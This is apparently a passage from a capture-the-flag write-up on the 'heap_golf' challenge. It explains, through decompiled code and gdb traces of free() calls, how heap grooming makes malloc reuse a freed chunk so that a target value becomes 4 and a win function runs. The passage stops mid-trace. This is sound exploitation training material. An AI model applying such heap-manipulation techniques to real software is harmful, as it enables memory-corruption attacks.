# 	heap_golf

The goal of this challenge is to print the contents of `flag.txt`, not pop a shell.

Let's take a look at the binary:
```
$	file heap_golf1 
heap_golf1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=ea4a50178915e1adee07a464e42cec0d6f9a9f62, not stripped
$ pwn checksec heap_golf1 
[*] '/Hackery/pod/modules/heap_grooming/swamp19_heapgolf/heap_golf1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$	./heap_golf1 
target green provisioned.
enter -1 to exit simulation, -2 to free course.
Size of green to provision: 32
Size of green to provision: -2
target green provisioned.
Size of green to provision: -1
```

So we are dealing with a 64 bit binary that provides us with three different inputs. 

## Reversing

```

undefined8 main(void)

{
  long lVar1;
  int input;
  int *target;
  int *newPtr;
  long in_FS_OFFSET;
  int x;
  int i;
  int *ptr [50];
  char buf [8];
  long canary;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  target = (int *)malloc(0x20);
  write(0,"target green provisioned.\n",0x1a);
  x = 1;
  write(0,"enter -1 to exit simulation, -2 to free course.\n",0x30);
  do {
    write(0,"Size of green to provision: ",0x1c);
    read(1,buf,4);
    input = atoi(buf);
    if (input == -1) {
LAB_004008c3:
      if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    if (input == -2) {
      i = 0;
      while (i < x) {
        free(ptr[(long)i]);
        i = i + 1;
      }
      ptr[0] = (int *)malloc(0x20);
      write(0,"target green provisioned.\n",0x1a);
      x = 1;
    }
    else {
      newPtr = (int *)malloc((long)input);
      *newPtr = x;
      ptr[(long)x] = newPtr;
      x = x + 1;
      if (x == 0x30) {
        write(0,"You\'re too far under par.",0x19);
        goto LAB_004008c3;
      }
    }
    if (*target == 4) {
      win_func();
    }
  } while( true );
}
```

So we can see what's going on. This is a heap grooming challenge. It stores and array of heap pointers in `ptr`. The first entry in the heap pointers array is `target`, which we have to set equal to `0x4` without any direct way of doing so. If we input anything other than a `-1` or `-2`, then it takes the integer value we passed it and mallocs it. It will then dereference it and set it equal to the heap pointer counter `x`. After that it will append it to the end of the heap pointers. If we input a `-1` the binary ends. If we input a `-2` it will go through and free all of the pointers, and malloc a new first pointer and reset the pointer counter `x` to 1.

Malloc will reuse previously freed chunks if they are the right size for performance reasons. What we can do is allocate `4` `0x20` block chunks (not including the one initially allocated), and then free them. Then when we allocate `0x20` byte chunks, we will get those same chunks back in the inverse order they were freed (so the last chunk we made will be the first allocated). Then the fourth chunk we allocate will be the first chunk allocated and have the same address as `target`, and also have the pointer counter `x` written to it:

Pointers being freed in gdb (in this case it's `0x602260`):
```
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x[PII_REDACTED]602260 → 0x[PII_REDACTED]000000,
   $rsi = 0x00000000ffffffda,
   $rdx = 0x[PII_REDACTED]000000
)
```

```
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x[PII_REDACTED]602290 → 0x[PII_REDACTED]000001,
   $rsi = 0x[PII_REDACTED]602018 → 0x[PII_REDACTED]000000,
   $rdx = 0x[PII_REDACTED]602010 → 0x[PII_REDACTED]000100
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
```

```
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    push   0x1
        0x40058b <write@plt+11>   jmp    0x400560
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
free@plt (
   $rdi = 0x[PII_REDACTED]6022c0 → 0x[PII_REDACTED]000002,
   $rsi = 0x[PII_REDACTED]602018 → 0x[PII_REDACTED]000000,
   $rdx = 0x[PII_REDACTED]602010 → 0x[PII_REDACTED]000200
)
```

```
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]
     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]
     0x4007f0 <main+233>       mov    rdi, rax
 →   0x4007f3 <main+236>       call   0x400570 <free@plt>
   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
        0x400576 <free@plt+6>     push   0x0
        0x40057b <free@plt+11>    jmp    0x400560
        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
        0x400586 <write@plt+6>    pu